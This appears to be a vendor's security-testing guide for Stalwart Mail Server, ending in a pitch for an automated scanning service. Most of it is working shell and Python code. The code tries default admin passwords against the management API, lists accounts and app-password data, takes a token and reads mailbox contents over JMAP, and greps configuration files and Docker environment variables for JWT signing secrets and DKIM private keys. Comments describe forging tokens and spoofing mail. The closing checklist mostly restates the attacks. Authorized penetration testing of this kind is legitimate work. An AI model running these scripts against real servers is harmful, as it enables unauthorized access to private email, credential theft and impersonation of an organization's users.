Stalwart Mail Server Security Testing: Default Credentials, API Key, Database, and JWT Secret

Stalwart Mail Server is an increasingly deployed open-source Rust-based all-in-one mail server supporting JMAP, IMAP, SMTP, and CalDAV/CardDAV — organizations use it as a privacy-respecting, self-hosted alternative to Google Workspace and Microsoft 365. Key assessment areas: admin/secret are the documented default credentials in many deployment guides; the REST management API and JMAP protocol with admin credentials provide full mailbox read/write access; the JWT signing secret enables authentication token forgery for any email account; and the mail store contains the complete email history. This guide covers systematic Stalwart Mail security assessment.

Table of Contents

  1. Default Credentials and Management API Testing
  2. JMAP API Email Content Access
  3. JWT Secret, DKIM Key, and Configuration Extraction
  4. Stalwart Mail Security Hardening

Default Credentials and Management API Testing

# Stalwart Mail — default credentials and management API testing
STALWART_URL="https://mail.example.com"

# Test documented default credentials
# Stalwart docs show admin/secret as example — frequently left unchanged
for CRED in "admin:secret" "admin:admin" "admin:password" "postmaster:secret"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -u "${USER}:${PASS}" "${STALWART_URL}/api/principal" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  >> ADMIN ACCESS CONFIRMED"
done

# Enumerate all principals (email accounts) with admin credentials
curl -s -u "admin:secret" "${STALWART_URL}/api/principal" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
total = d.get('total',len(items))
print(f'Principals (accounts): {total}')
for p in items[:10]:
    print(f'  [{p.get(\"type\")}] {p.get(\"name\")} ({p.get(\"description\",\"\")}) quota={p.get(\"quota\",0)//1024//1024}MB')
" 2>/dev/null

# Get specific account details
curl -s -u "admin:secret" "${STALWART_URL}/api/principal/user@example.com" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Account: {d.get(\"name\")}')
print(f'Type: {d.get(\"type\")} Quota: {d.get(\"quota\",0)//1024//1024}MB')
# Check for app passwords
secrets = d.get('secrets',[])
print(f'App passwords: {len(secrets)}')
for s in secrets:
    print(f'  {s.get(\"type\")} value={s.get(\"value\",\"[hashed]\")[:30]}')
" 2>/dev/null

JMAP API Email Content Access

# Stalwart Mail JMAP API — full email content access
STALWART_URL="https://mail.example.com"

# JMAP authentication (using admin bearer token from management API)
ADMIN_TOKEN=$(curl -s -X POST "${STALWART_URL}/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=admin&password=secret&client_id=stalwart" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)

# JMAP session discovery
curl -s "${STALWART_URL}/jmap" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
accounts = d.get('accounts',{})
print(f'JMAP accounts: {len(accounts)}')
for account_id, acct in list(accounts.items())[:5]:
    print(f'  [{account_id[:8]}] {acct.get(\"name\")} isAdmin={acct.get(\"isAdmin\")}')
" 2>/dev/null

# Use JMAP to query all email in an account
# JMAP is the modern mail access protocol Stalwart uses
ACCOUNT_ID="your-jmap-account-id"
curl -s -X POST "${STALWART_URL}/jmap" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"using\": [\"urn:ietf:params:jmap:core\",\"urn:ietf:params:jmap:mail\"],
    \"methodCalls\": [
      [\"Email/query\", {
        \"accountId\": \"${ACCOUNT_ID}\",
        \"filter\": {},
        \"sort\": [{\"property\":\"receivedAt\",\"isAscending\":false}],
        \"limit\": 10
      }, \"r1\"],
      [\"Email/get\", {
        \"accountId\": \"${ACCOUNT_ID}\",
        \"#ids\": {\"resultOf\":\"r1\",\"name\":\"Email/query\",\"path\":\"/ids\"},
        \"properties\": [\"subject\",\"from\",\"to\",\"receivedAt\",\"bodyValues\",\"textBody\"],
        \"fetchTextBodyValues\": true
      }, \"r2\"]
    ]
  }" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
responses = d.get('methodResponses',[])
for resp in responses:
    method_name = resp[0]
    result = resp[1]
    if method_name == 'Email/get':
        for email in result.get('list',[]):
            print(f'Subject: {email.get(\"subject\",\"\")}')
            print(f'From: {email.get(\"from\",[{}])[0].get(\"email\",\"\")}')
            print(f'Received: {email.get(\"receivedAt\",\"\")[:19]}')
" 2>/dev/null

JWT Secret, DKIM Key, and Configuration Extraction

# Stalwart Mail JWT secret, DKIM key, and configuration extraction

# Stalwart configuration file (TOML format)
find /etc/stalwart /opt/stalwart /data -name "config.toml" -o -name "stalwart.toml" 2>/dev/null | head -5
CONFIG_FILE="/etc/stalwart/config.toml"

# Extract critical secrets from configuration
grep -E "secret|key|password|token|dkim" "$CONFIG_FILE" 2>/dev/null | grep -v "^#" | head -30

# JWT signing secret — enables token forgery for any account
grep -A2 "\[auth.oauth\]\|\[auth.token\]" "$CONFIG_FILE" 2>/dev/null | \
  grep -i "secret\|key" | head -5
# If JWT secret is known, forge access tokens for any email account

# DKIM private keys — enable email spoofing
grep -B2 -A5 "private-key\|dkim" "$CONFIG_FILE" 2>/dev/null | head -20
# DKIM private key allows signing emails as any user in the domain
# Recipients will see valid DKIM signature — effective spoofing

# Docker environment variable inspection
docker inspect stalwart-mail 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e.upper() for k in ['SECRET','PASSWORD','KEY','TOKEN','JWT']):
            print(e)
" 2>/dev/null

# Management API — retrieve server settings (admin required)
curl -s -u "admin:secret" "${STALWART_URL}/api/settings" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('items',{})
for k,v in settings.items():
    if any(s in k.lower() for s in ['secret','key','password','token','dkim','tls']):
        print(f'{k}: {str(v)[:60]}')
" 2>/dev/null

Stalwart Mail Security Hardening

Stalwart Mail Security Hardening Checklist:
Security TestMethodRisk
Default admin/secret credential accessGET /api/principal with Basic auth admin:secret — documented in installation guides; full REST API access to all email accounts; enables JMAP read access for all mailboxes; account enumeration and email content exfiltrationCritical
JWT signing secret extraction and token forgeryRead config.toml JWT secret — forge valid OAuth2 access tokens for any email account without knowing passwords; bypasses all password and 2FA controls; full JMAP email access for any accountCritical
DKIM private key extraction for email spoofingRead DKIM private key from config.toml — sign emails as any user in the domain; recipients receive email with valid DKIM signature appearing to be from legitimate organization users; bypasses most spam and phishing filtersHigh
JMAP API full mailbox content accessPOST /jmap with Email/query + Email/get — enumerate and download all emails for any account with admin credentials; complete email history exfiltration including attachmentsHigh
Management API account and app password enumerationGET /api/principal all accounts; GET /api/principal/{user} app password hashes; account inventory and credential data for offline hash crackingHigh

Automate Stalwart Mail Security Testing

Ironimo tests Stalwart Mail deployments for default admin/secret credential access, JWT signing secret extraction and token forgery, DKIM private key extraction for email spoofing, JMAP API full mailbox content enumeration, management API account and app password extraction, configuration file sensitive data exposure, Docker environment variable secret disclosure, SMTP open relay testing, IMAP brute force protection assessment, and TLS configuration strength evaluation.

Start free scan